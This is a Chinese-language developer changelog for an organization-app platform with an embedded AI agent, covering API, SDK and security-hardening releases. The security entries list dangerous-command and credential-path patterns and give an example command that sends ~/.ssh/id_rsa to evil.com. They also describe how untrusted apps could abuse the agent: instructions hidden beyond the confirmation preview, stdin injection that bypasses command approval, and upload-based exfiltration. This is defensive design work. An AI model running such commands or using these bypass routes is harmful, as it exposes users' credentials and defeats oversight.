Skip to content

更新日志 ​

2026-09-06(org_id 旁边现在也带 org_name 了;桌面端多组织窗口隔离修复) ​

影响:新增字段,向后兼容,无需改代码;桌面端有一处行为修复。

  • POST /open/auth/user 的响应、jlt.getContext()/jlt.ready() 下发的 context,都新增了 org_name 字段(跟在既有的 org_id 旁边)——同一个应用 可能被多个组织自建/安装,此前只给一个不透明 org_id,三方应用要展示"当前 在哪个组织下"得自己额外调接口查。分区/鉴权仍然以 org_id 为准, org_name 只是展示用(组织可以改名)。
  • 修复桌面端窗口层的多组织隔离:早期实现按纯 app_id 复用应用窗口,同一个 应用在组织 A 打开一次、又在组织 B 打开一次时会复用同一个窗口并把上下文 静默从 A 切到 B,容易让人以为"应用不知道多组织"。现在按 (org_id, app_id) 各开一个独立窗口,标题统一显示「应用名 · 组织名」,两个组织的实例可以 同时并存。详见 免登与鉴权 与 JSAPI。
  • 对应 TypeScript SDK 2.3.1(2026-09-07 发布),JltContext 类型新增 org_name,详见 SDK。

2026-08-30(jlt.agent 消耗现在能在 GET /usage/组织看板里看到了) ​

影响:应用侧无需改代码。此前 GET /usage 与组织看板"应用消耗"只统计 POST /ai/completions(服务端到服务端调用)的花费,jlt.agent(应用页面内嵌 AI)产生的消耗完全不体现在这两处——重度使用 jlt.agent 的应用查出来一直是 0。 现已把两个来源相加:jlt.agent 扣的仍是触发它的组织成员自己的额度(不是应用 的钱,这一点没变),只是流水上会打一个归属于本应用的标签,计入统计。

2026-08-30(新增本机内核级沙箱:run_skill 也能在本机跑了) ​

影响:应用侧无需改代码。run_skill(技能执行)此前完全排除在本机白名单 外,只能跑云端 Docker 沙箱;现在跟 execute_code 一样有条件放行——本机支持 内核级沙箱(macOS/Windows)时优先本机跑(强制隔离),不支持则继续回落云端。 沙箱下 requirements 安装与 call_llm/数据库·知识库桥接一律失效(都要联网, 跟沙箱断网冲突),跟云端沙箱本来就没有这两项能力是同一处境。

2026-08-30(新增本机内核级沙箱:execute_code 在 macOS 上回到本机执行) ​

接着下面那条“本机工具改白名单”——那次把 execute_code 整个赶去了云端,代价是应用 拿不到任何本机环境。现在补上本机沙箱,把这一步接回来:

  • macOS:跑在系统内核级沙箱里(Seatbelt/sandbox-exec)——网络完全断开, 只能读“跑得起 Python 的系统路径 + 运行时目录”,只能写专用沙箱工作区;用户家目录、 ~/.ssh、甚至用户自己的 AI 工作区都读不到。子进程继承策略,沙箱里再起 curl 同样出不去网。
  • 其它平台:保持走云端 Docker 沙箱(Windows 没有可用的系统沙箱原语,我们不自研)。
  • 应用侧无需改代码:两条路都在沙箱里,区别只是沙箱在哪。依然拿不到用户真实 文件/已登录浏览器;需要那些的任务仍该用 jlt.startChat()。
  • 沙箱模式不允许安装额外 Python 包(install_packages 被忽略)——装进用户 venv 是 持久的,下次用户自己跑代码会 import 到。
  • 沙箱策略文件复制自 OpenAI Codex CLI(Apache-2.0,已保留许可与署名),上游又衍生自 Chromium 的 macOS 沙箱策略。

2026-08-30(jlt.agent 本机工具改白名单:代码执行一律进沙箱) ​

影响:应用侧无需改代码,但 jlt.agent 里跑的代码/技能不再在用户机器上 执行,改为跑在云端 Docker 沙箱里。依赖"读用户本机文件、用用户已登录浏览器、 调用本机技能"的任务会失败——这类任务请改用 jlt.startChat() 交回用户主窗口执行。

  • 本机工具从"排除几个"改成正向白名单:只开放"每次调用都经用户确认"或 "根本不碰用户数据"的能力——shell_exec(分级确认)、原生另存为、文件管理器 定位、系统通知。其余 35 个本机工具全部不再对三方应用开放。写成白名单是为了 以后新增本机工具时,不会因为有人加了一行就悄悄对不可信应用开放。
  • 代码执行类自动进沙箱:execute_code/run_skill/文档生成不再走用户机器上 的私有 Python 环境,自动回落云端 Docker 沙箱(--network=none、丢弃全部 Linux capabilities、禁止提权、512MB/1CPU/50 进程)。原因:这三个工具能跑任意 代码却没有任何逐次确认——写三行 Python 外发数据比 shell_exec 还省事, 上面那两张命令清单完全管不到。
  • 同批堵掉的其它无确认通道:upload_workspace_file(名字叫 workspace,实际 收任意路径,读完上传对象存储并返回公网 URL,一次调用完成外发)、 shell_write_file(写任意路径,可做持久化)、shell_process(能往运行中进程 的 stdin 喂命令,可整体绕开命令确认)、send_file_to_phone、fetch_url (从用户内网发请求)、android_*(控制用户已连接的手机)。

2026-08-28(jlt.agent 本机命令确认改为按危险度分级) ​

  • 普通命令可「本轮不再询问」:首次弹窗多一个按钮,按命令签名 (git push origin main → git push)在这一次 agent 任务内复用, 任务结束即失效、不持久化、不进「授权管理」。此前是一律逐条确认——一个任务 跑十几条命令时,它必然退化成「反射式点同意」,那时它已经不是防线。
  • 危险命令永不豁免:命中 rm -rf/sudo/crontab/launchctl/ git push --force 等危险模式的命令,即使同签名已在本轮批准过,也重新 逐条确认,且不提供「本轮不再询问」按钮。真正的门是任务级全文确认 (用户读过要做什么)+ 危险命令逐条确认,中间那些同类重复才是可以收敛的。
  • 外发 / 读凭证 / 执行远端代码也不豁免(三方应用专用的第二张清单): curl/wget/scp/ssh/nc 等外发命令,.ssh//.aws//.env/.pem/ .npmrc/shell 历史/浏览器 Cookie 库等凭证路径,以及 … | sh/eval/ base64 -d 等把远端内容当命令执行的写法。原因:命令签名只取首个 token, 批准一次无害的 curl 不能等于放行 curl -d @~/.ssh/id_rsa https://evil.com; 而上面那张危险清单是纯"破坏性"导向,一条外发相关的都没有。
  • 修复:三方应用不再继承用户的全局静默策略。客户端「本机命令执行策略」 选了 silent 的用户,此前会连带让任何组织应用发起的本机命令也静默 执行(那个开关的本意是"我信任我天天用的助手",不是"我信任任何组织应用")。 现在 danger_only、信任签名、silent 三者都只对用户自己的对话生效。
  • 协议与方法签名无变化,应用侧无需改代码。

2026-08-28(JSAPI v1.8.0:startChat —— 需要真实登录浏览器的任务改发主窗口) ​

  • 新增 jlt.startChat({ message })(仅桌面端,需 ai scope):jlt.agent 为安全故意剔除了 browser_* 工具(不给应用借道驱动用户真实登录的日常浏览 器);需要真实登录态浏览器能力的任务(比如登录某网站抓数据)无法通过 jlt.agent 完成,只能改用这个新方法——把任务改成在用户自己主窗口里 新开一个普通对话发出去,跟用户亲手在输入框敲字发送完全等价,走客户端正常 Agent 通道(包含真实登录态的 browser_*)。
  • 每次调用弹窗展示完整消息文本确认(同 jlt.agent 的任务全文确认同一 安全等级),无「始终允许」;同意后才新建对话并发送。
  • 无返回值、无事件回调:新对话在主窗口打开,过程/结果不会回传到调用方 页面,应用需要另行对接自己的持久化接口作为真实进度来源。
  • SDK 2.3.0(@ai-im/org-app-sdk)同步导出 startChat 的类型化封装。

2026-08-28(JSAPI v1.7.0:无边框窗口 + 自定义顶部样式) ​

  • 应用窗口改为无边框:去掉 OS 原生标题栏(红绿灯/Windows 三键),不再跟 壳自带的工具栏叠成两层。默认行为不变——壳自带的紧凑工具栏(应用名 + 关于/ 授权管理/强制刷新 + 最小化/最大化-还原/关闭)继续提供全部窗口控制,拖动 靠按住这条栏(非按钮区域)、双击切换最大化。
  • 新增窗口控制方法(均不需要 scope):minimize()、toggleMaximize() → {maximized}、isMaximized()、toggleFullscreen() → {fullscreen}、 isFullscreen()、startDragging()。
  • reload() / reloadForce():前者就地刷新(尽量复用引擎缓存,跨源刷新 被引擎拒绝时自动降级为后者);后者是原「工具栏刷新按钮」的行为——重新签发 免登码并绕过缓存整页重载。
  • setToolbarVisible(visible):应用要完全自绘顶部样式时先调用它隐藏壳 自带的工具栏,页面随即铺满整个窗口,自行实现的顶部栏用上面这组方法接管 窗口控制。openGrants() 唤起「始终允许」授权管理面板,不受此开关影响 (面板始终由壳渲染)。
  • 平台不推送最大化/全屏状态变化事件——toggleMaximize/toggleFullscreen 的 返回值即最新状态,系统级手势(如 Windows 贴靠触发的最大化)改变状态后, 应用如需校准可主动 isMaximized() 查询,常见时机是窗口重新获得焦点。
  • 仅桌面端;SDK 2.2.0(@ai-im/org-app-sdk)同步导出这些方法的类型化封装。

2026-08-28(POST /ai/completions 修复:推理模型截断成空回包) ​

  • max_tokens 默认值从 2048 提到 8192(上限不变):推理模型的思考内容也 计入这个预算,2048 常常在模型吐出正文前就被截断。
  • 正文被截断时自动续写:只要上游返回 finish_reason: "length",平台会把 已生成内容接回上下文让模型继续(最多 6 次,不重复输出已生成部分), usage 按全部续写轮次加总;调用方几乎不会再看到"200 但 content 是空 字符串"这种静默失败。仅对非流式请求生效——stream: true 时字节已经 边生成边转发,无法在服务端悄悄重发。

2026-08-27(第二轮加固:两阶段确认 / 授权粒度 / 免登走 fragment) ​

  • browserAct 跨源跳转改为两阶段确认:此前 origin 守卫在动作之后—— 点击外链/提交表单时跳转请求已经发出,用户拒绝只是拿不到响应内容。现在壳会 先在页面里预解析目标元素的 a[href]/form[action]:指向未确认 origin 时 不执行动作,resolve 带 pending: true 的 {need_consent, url};用户 同意后壳自动重发该动作,应用这一次拿到的就是真实结果。JS 动态导航(无法 预解析)仍由动作后的守卫兜底(不带 pending,行为同旧版)。
  • 「始终允许」授权粒度重构:按「应用 + 组织 + 能力类别 + origin」分别记忆, 30 天有效——此前一个 fetch 场景的授权会同时豁免无头抓取与隔离会话跳转, 且永久生效、跨组织共用。隔离浏览器会话(browserOpen…)不再提供 「始终允许」:多步自动化的每一跳都逐次确认。旧授权(无组织/类别/时限信息) 迁移时作废,最多被重新询问一次;「授权管理」面板按类别展示。
  • 免登参数改走 URL fragment(#jlt_auth_code=…,桌面/移动壳同口径): 不随请求发给应用服务器、不进访问日志、不被 Referer 带出。SDK parseLaunchParams() fragment 优先、query 兜底兼容;只认 query 的旧页面可 改用 jlt.requestAuthCode() 取码(破坏性变更,见免登与鉴权)。
  • Rust 命令层 local scope 兜底:localFetch/browserExtract/隔离会话 各命令在 Tauri 命令层再核一次 local scope(60s 缓存,fail closed)—— 此前唯一执行点在壳 JS,纵深防御缺失。
  • openChat 占位会话标注来源:应用自报的昵称/群名带「(来自应用)」后缀, 防止伪造"IT 管理员"式会话入口做社工;真实资料随后从服务端同步覆盖。

2026-08-27(JSAPI v1.6.1 / SDK 2.1.1:安全加固) ​

  • Agent 每轮确认全文展示、取消「始终允许」(桌面壳):此前确认框只预览任务 前 800 字符,而单条任务最长 32k——真实指令可以藏在 800 字之后,用户批准的 和执行的不是同一段内容。现在全文展示(弹窗内可滚动),且三方应用不再提供 「始终允许」——记住一次等于放行后续任意任务。存量授权不再生效。
  • 应用发起的 Agent 本机命令逐条确认:不再沿用客户端本机 Agent 的 danger_only 自动放行与信任签名宽免(只有用户全局显式选择的 silent 策略仍 生效);不再向三方 Agent 开放 browser_* 工具(那走用户带登录态的日常 浏览器 profile)——应用要浏览器请用隔离会话 JSAPI(browserOpen…)。
  • JSAPI 桥入站消息只认父窗口(jlt.js v1.6.1):应用页面内嵌的三方 iframe 无法再伪造 jlt:init 注入假的用户/组织上下文。
  • 弹窗类 JSAPI 频控:alert/confirm/chooseFile/saveFileAs 每分钟 最多 10 次(防骚扰,也防拿同款弹窗做"条件反射训练");确认框默认聚焦 「取消」。
  • 服务端(/api/open 与管理面):事件/工具回调地址增加 SSRF 防线——目标 域名必须解析到公网地址(环回/私网/链路本地一律拒绝;本地联调需在服务端开 ORG_APP_CALLBACK_ALLOW_PRIVATE_IP);回调响应体读取上限 64KB;免登授权码 过期行定期清理;/open/auth/token 增加按来源 IP 限流;app token 长度上限; 知识库检索不再把文档二进制大列拉进内存;应用图标 URL 增加 scheme 白名单。
  • SDK 2.1.1:files[].url 走白名单(javascript: 不再进 href);非流式 响应兼容标准 OpenAI choices[0].message.content 形状;agent 桥异常时的 busy 挂死兜底;用户停止 endpoint 通道时保留已生成内容;恢复的历史保留本机 文件 id(revealFile 不退化)。pnpm 包尚未发布 COS,随下次 release.sh。
  • Demo 1.3.1:默认只监听 127.0.0.1(HOST 环境变量可覆盖);/api/login 每 IP 限流 + 过期会话回收;SSE 中继断连联动取消上游;回调验签时间窗收紧到 5 分钟;工具回调幂等去重;engines: node>=18。

2026-08-27(JSAPI v1.6.0:本机文件访问 + 分享 + 群聊 + 上架审核) ​

  • jlt.chooseFile(opts?) / jlt.saveFileAs(opts)(仅桌面端):原生打开/ 另存为对话框,不需要任何 scope——用户在系统对话框里亲手选择即同意, 跟浏览器 <input type="file">/showSaveFilePicker() 是同一套许可模型。 chooseFile 单文件上限 20MB;saveFileAs 上限约 50MB。
  • jlt.share(opts)(仅桌面端,需 im scope):向同组织成员分享一段 文本/链接——壳弹出系统选人组件让用户亲手选一位,消息以用户自己的身份 发出(带【应用名】前缀)。用户取消选人 → {ok:false}(不是错误)。
  • jlt.openChat 群聊变体:新增 {group_id} 参数(原有 {user_id} 单聊参数不变,二选一),跳到某个群聊。
  • SDK 2.1.0:新增对应类型化封装 chooseFile/saveFileAs/share/ openGroupChat(纯增量,无破坏性变更);demo 1.3.0 新增演示面板。
  • 应用市场新增用途声明 + 上架审核(详见 docs/20-org-apps.md §6.1): 发布到应用市场前必须为每个申请的能力(scope)填写一句用途说明,提交后 进入平台审核队列,批准才会真正上架;已上架应用事后扩大能力范围会自动 下架并要求重新提交审核。这一变化只影响「发布到市场」,日常调用 /api/open/* 不受影响。

2026-08-27(JSAPI v1.5.0:Agent 本机产物可在文件管理器中定位) ​

  • 修复三方拿不到 Agent 附件的问题:此前桌面壳把非 https 的 URL 一律剥掉, 而本机工具(文件/代码/Office 生成等)的产物是本地路径——三方页面收到的 files 只剩名字。
  • 新口径(本地文件不出本机):本机产物带不透明 id(本地路径不进页面), 新增 jlt.revealFile({file_id})——由桌面壳在系统文件管理器里高亮显示 该文件(访达 -R / 资源管理器 /select)。云端工具产物仍带 https 直链。
  • 安全模型不变:页面拿不到任何本地路径或文件内容;只能翻出本窗口 Agent 真实产出过的文件;限频 10 次/分钟;窗口重开后 id 失效。SDK 的 mountChat 文件卡片自动渲染为「📁 打开所在位置」按钮。需随桌面端发版生效。

2026-08-27(模型清单:默认模型不再对三方暴露) ​

  • GET /ai/models 的 default 改为哨兵值 "default"——此前直接返回 真实默认模型 id,应用把它显示在「AUTO」标签上等于把路由型号亮给了三方。 现在不传 model(或传 "auto"/"default")时路由到哪个具体型号由平台 决定,不出现在任何响应里;模型列表本身 id/名称照实返回(name 优先取 管理员在后台「对话模型展示文案」配置的显示名)。
  • POST /ai/completions:model 新增接受 "default"(与 "auto"/留空 同义);具体模型 id 行为不变。

2026-08-27(事件订阅扩充到 15 种 + 已读回执) ​

  • 组织架构事件:org.member.updated(资料/角色变更)、org.team.created / updated / deleted、org.team.members.changed(批量替换完整 diff,数组截断 100 条 + *_count 全量计数)——通讯录同步类应用的核心诉求。
  • 组织状态事件:org.updated、org.dissolved(app token 即时失效但事件 照常投递,应用后端据此停止调用)、org.unarchived。
  • 消息触达事件:app.message.sent(/open/im/send 逐收件人结果回执)与 app.message.read(已读回执,会话级语义——成员打开与「应用通知」的会话 即视为全部读到;依赖 OpenIM 读回执 webhook,升级服务端时一并重启 OpenIM)。
  • 订阅勾选上限 8 → 20;管理面按 成员/团队/组织/市场/消息 分组展示(随下次 桌面端发版生效,订阅本身走 API 即可用)。

2026-08-27(SDK 2.0.0:mountChat 大改版) ​

  • 三通道:channel: "auto" | "agent" | "endpoint" | "preview"(默认 auto)。 客户端内直接用 jlt.agent 完整 AI 能力(无需自建后端);浏览器联调走你的 后端中继;零配置预览罐头。agent 不可用(移动端/未授权)自动降级中继并提示, 降级过一次即闩锁直达中继(agentFallback: "error" 可关闭降级)。每轮重估 ——桥晚到时下一轮自动升级。
  • agent 过程可视化:工具调用卡片(waiting→success/failed + cloud/local 徽标)、本机执行行、子任务行、生成文件列表、truncated/stopped 提示——全部 收进组件并随历史持久化(恢复会话时静态重渲染)。卡片采用客户端同款的 锚定交错:按事件触发时的正文偏移插进对话流(文字 → 卡片 → 文字), 不是侧栏也不是输出结束后堆在尾部。思考内容(<think> 块)与正文分开: 渲染成可折叠思考块(流式时展开显示"正在思考…",完成后收起成一行"思考 过程",点击展开);混元系 nonce 标签变体自动归一,孤儿标签不泄漏进正文; 卡片锚点落在思考块内时外移到块结束,不把思考切成两半。
  • Markdown v2:标题/嵌套列表/任务列表/表格(对齐)/引用/分隔线/粗斜体/ 删除线/图片(http(s) 白名单)/链接(javascript: 一律拒)/代码块语言标签 + 复制按钮;XSS 安全模型不变(先全量转义再生成标签,NUL 哨兵占位)。
  • 主题与 i18n:CSS 重建在 --jltc-* 变量上(theme: auto/light/dark, 宿主可用变量整体换肤);locale: "zh-CN" | "en" 全文案双语。
  • 列表打磨:可选头像/时间戳、逐条复制、末条重新生成、typing 动画、滚动 到底悬浮按钮、role="log" + aria-live 无障碍。
  • 基础设施:结构化错误 onError(ChatError)(唯一破坏性变更,v1 的 onError(message: string) 改读 error.message 即迁移);timeoutMs 单轮 上限;destroy() 中止在飞请求;store 新增 keys()/remove()/clearAll()/ flush(),存档带版本信封(v1 裸数组兼容);isNeedConsent() 类型守卫; SDK_VERSION 导出;d.ts 打包为自包含单文件;vitest 73 用例。
  • Demo:聊天视图改用 mountChat(删除手写平行实现),赛博朋克皮肤改用 --jltc-* 变量整体换肤。

2026-08-26(桌面端:确认框「始终允许」) ​

  • 确认框新增第三键「始终允许」:agent 每轮确认、localFetch/browserExtract 目标确认、浏览器会话 open 与跨源跳转确认——选择后按应用 + 域名精确记忆 (无通配、每应用 ≤20 条),之后不再逐次询问;应用窗口工具栏新增**「授权管理」** 可随时逐项撤销。
  • 边界不变:本机命令执行不参与宽免,仍按客户端确认策略/签名信任逐条把关; 未确认 origin 的页面内容依旧零泄露;「始终允许」只能由用户在确认框里主动选择, 应用侧无法触发或绕过。

2026-08-26(JSAPI v1.4.1 + SDK 1.6.0:完整 AI 能力 + 隔离浏览器会话) ​

  • jlt.agent / jlt.agentStop(仅桌面端):把对话整个交给客户端内置 Agent——拥有与客户端 AI 对话一致的完整能力:用户已启用的技能、 系统工具(文件/Shell/代码/浏览器)、本地数据库与服务端工具,模型 自行编排调用。需同时授予 ai + local 能力;每轮开始前桌面壳弹原生确认 (应用名 + 任务内容),本机命令仍按客户端确认策略逐条授权。
  • 协议新增流式事件 jlt:event:按请求 id 派发(agent 专用,其它方法 不受影响);agent 不受 15 秒桥超时限制,由最终响应/错误收尾。
  • browserOpen / browserAct / browserRead / browserSnapshot / browserScreenshot / browserClose(仅桌面端):把本机集成的微软 Playwright 引擎开放成多步隔离会话——开页 → 快照拿 ref → 点击/输入/填表/翻页 → 读取/ 截图 → 关闭。临时 profile、强制无头、无任何登录态、用完即杀;动作面是 受控动词(不含任意 JS 执行)。
  • origin 确认与 need_consent:目标地址与每个新 origin 都经桌面壳弹窗确认; 读类操作遇到未确认 origin 返回 {need_consent, url},同意后重发即得内容; act 同意后只入白名单不重跑动作;未确认 origin 内容零泄露。
  • 限额与回收:每窗口 2 会话 / 全局 4 / 单会话 200 动作 / 空闲 10 分钟 / 最长 30 分钟;窗口关闭或应用退出即杀实例清临时目录。
  • 安全边界不变:页面 messages 只透传 user/assistant(system 注入被剥离, 能力与安全约束由受信壳注入);模型调用由壳持 token 直连 ai-service, token/IPC 不进入应用页面;计费与客户端 AI 对话一致(个人/组织钱包精确归因)。
  • SDK 1.6.0:runAgent / stopAgent + 六个 browser* 类型化封装 (含 JltNeedConsent 联合返回)。
  • Demo:「智能协作终端」改走 agent 通道——工具调用/本机执行/子任务/生成 文件实时卡片,浏览器打开自动降级为平台云端流式对话;「本机能力」面板新增 会话演示卡(快照 → ref 交互 → 截图)。

2026-08-26(安全加固第三轮) ​

  • AI 工具上下文归属校验(High):wants_context 的对话上下文现在只包含 调用者本人会话的内容——平台按会话归属校验,别人的 session_id 拿不到任何 上下文(键缺失,不区分"不存在"与"不是你的")。
  • 异步工具生命周期:用户中断对话后挂起表不再残留(finally 全路径清理); 已取消的调用回填结果返回 404 而非误报"已送达"。
  • /open/tools 对称性:更新/删除补齐 ai_tools scope 检查与限流。
  • SDK 1.4.1:markdown 代码块占位符改用 NUL 哨兵,修复正文中 " 0 " 这类字面量与占位符碰撞导致的内容错位/重复(经实证检验非 XSS, 转义管线对属性注入/scheme 混淆依然安全)。

2026-08-26(SDK 1.4.0:IndexedDB 会话存储) ​

  • 新增 createChatStore:mountChat 持久化的大空间选项——IndexedDB(配额 数百 MB 级,对比 localStorage ~5MB),零依赖、多会话按 key 隔离、自带 5MB/2000 条预算裁剪、异步排队写入、隐私模式等不可用环境自动降级。 存储选型指南:IndexedDB(起步)→ 自己的后端(跨设备)→ localStorage (仅轻量)。

2026-08-26(SDK 1.3.1:持久化防炸) ​

  • mountChat 会话持久化的三层保护:存档载荷尺寸上限 persistMaxChars (默认 256KB,超限自动从最旧一轮裁起)、内存历史上限 historyLimit (默认 200 条,恢复存档同样生效)、onHistoryChange 里的存储异常吞掉 (localStorage ~5MB 写满不再打断聊天)。文档把后端存储立为推荐做法。

2026-08-26(SDK 1.3.0 + 工具异步模式) ​

  • mountChat 会话持久化(SDK 1.3.0):initialHistory 恢复 + onHistoryChange 存档,两行接上自己的存储实现跨刷新续聊。
  • AI 工具异步模式:回调秒回 {"jlt_async":true,"wait_sec":≤300},平台 挂起等待,应用处理完经 POST /open/tools/result 回填(call_id 绑定应用, 跨应用回填被拒;超时转 error 可重试)——慢任务不再占用同步等待上限。

2026-08-26(SDK 1.2.0 + AI 工具深化) ​

  • AI 对话组件(SDK 1.2.0):mountChat 一行挂载——消息列表/流式逐字 渲染/停止/重试/代码块加粗链接/深浅色自适应,配无状态后端中继契约, 5 分钟接入。
  • AI 工具性能:工具清单按组织集合 10s 进程内缓存(变更即时失效), 成员对话的每请求解析开销≈0。
  • AI 工具自由度:回调可附带最近对话上下文(wants_context,只读 参考);回调等待上限 60→120 秒;新增开放 API /open/tools 自管理工具(CI/清单同步,免管理员 UI)。

2026-08-26(安全加固第二轮) ​

  • 本地能力确认强化——确认弹窗把解析后的 协议://主机:端口 单独成行展示 (不再展示可能隐藏真实主机的 URL 前缀);拒绝含 user@host 的目标; localFetch 不跟随重定向(30x 直接失败,防同意后被改道到内网); browserExtract 导航后校验最终地址与确认地址同源,被改道即中止。
  • 数据库只读加固——只读关键词补齐 INTO/OUTFILE/INFILE/DUMPFILE/ LOAD_FILE(SELECT 变体的文件读写通道);MySQL 会话级只读事务 (SET SESSION TRANSACTION READ ONLY),SET 失败记日志不再静默吞。

2026-08-25(新能力:本地能力,JSAPI v1.3 / SDK 1.1.0) ​

  • 本地能力(local scope):应用页面可在用户逐次确认下使用其电脑的 抓取能力——jlt.localFetch(本机网络抓正文,可访问内网)与 jlt.browserExtract(隔离无头浏览器提取,不带用户登录态)。仅桌面端; 授权为「组织管理员开 scope + 用户每次确认」双层。

2026-08-25(新能力:AI 工具 + 数据库) ​

  • AI 工具(ai_tools):应用可给组织成员的 AI 助手注册自定义工具—— 声明名称/描述/JSON Schema/回调地址,模型调用时平台签名 POST 到你的后端, 结果回填对话。协议与可见性见给 AI 注册工具。
  • 数据库(db):应用设置里绑定外部数据库(配置人自建/协作/市场安装的均可), 开放 API 提供绑定清单、表结构、只读查询(GET /db/databases、 GET /db/{id}/tables…、POST /db/query)——安全边界与用户侧一致:单条 SELECT、禁写关键字、行数上限、语句超时。

2026-08-25(新增 db 能力) ​

  • 新增 db 能力:应用设置里绑定外部数据库(配置人自建/协作/市场安装的均可), 开放 API 提供绑定清单、表结构、只读查询(GET /db/databases、 GET /db/{id}/tables…、POST /db/query)——安全边界与用户侧一致:单条 SELECT、禁写关键字、行数上限、语句超时。

2026-08-25(SDK 1.0.0) ​

  • TypeScript SDK 首个版本化发布,可在文档站直接下载: 浏览器 IIFE 包(jltSdk 全局,免构建引入)、npm 离线安装包(tgz)、 类型声明(d.ts),附 sha256 校验;版本目录只进不退,历史见 版本历史。

2026-08-25(安全加固) ​

  • IP 白名单防伪造——来源 IP 判定改为"可信反代感知":仅当连接来自可信 代理网段时才采信 X-Real-IP / X-Forwarded-For 尾跳;直连一律用 socket 对端。伪造 X-Forwarded-For 无法再绕过白名单。
  • 移动端桥接凭证(JSAPI v1.2.1)——壳随 jlt:init 向主框架下发一次性 _bridge_token,SDK 每个请求回带;页面里嵌套的三方 iframe 伪造的桥接 请求将被丢弃(对齐桌面壳的 origin 严格比对)。
  • 回调验证错误收敛——challenge 验证失败不再区分具体环节(可达性/状态码/ 非 JSON),消除借此探测内网的旁路信号;细节只进服务端日志。

2026-08-25(第二轮) ​

  • 开放 API:组织架构——新增 GET /org/teams(团队树 + 成员数)与 GET /org/teams/{id}/members(团队成员,含团队角色),走 contacts 能力。
  • 服务器 IP 白名单——应用设置可配置出口 IP/CIDR 白名单,非空时所有 /api/open/* 调用(含换 token)只接受白名单来源,防 app_secret 泄露被 任意机器滥用。
  • 事件订阅:手动重投——修好回调端点后,可把已终态失败的投递一键重新排队。
  • AI 流式——POST /ai/completions 支持 stream: true(OpenAI 兼容 SSE)。

2026-08-25(第一轮) ​

  • JSAPI 交互组件(v1.1)——selectUsers 系统选人组件(免 scope,用户 亲手挑选即授权)、openChat 跳单聊、alert / confirm / toast。
  • 事件订阅(webhook)——成员加入/离开、应用被安装/卸载/授权变更时 POST 推送到你的后端:challenge 地址验证、HmacSHA256 签名、30s→2m→10m→1h 退避重试,服务重启不丢。
  • 移动端支持(v1.2)——组织应用可在手机客户端打开(同一份 JSAPI SDK, 自动识别桌面/移动容器);getContext().platform 返回 desktop / mobile。
  • 开发者文档站(本站)与 TypeScript SDK(@ai-im/org-app-sdk)发布。

2026-08-25(初始版本) ​

  • 组织应用上线:注册自建应用(外部 https 网站)、免登(authCode 5 分钟一次性)、 JSAPI 基础能力(ready / getContext / requestAuthCode / setTitle / close)。
  • 开放 API:auth/token、auth/user、org/members、im/send、ai/completions (非流式)、kb/search。
  • 能力(scope)逐项授权:contacts / im / ai / kb;免登恒定授予。
  • 应用市场:发布(audience 可见范围)/ 安装 / 安装方单独授权。

机灵兔开放平台 · 组织应用开发者文档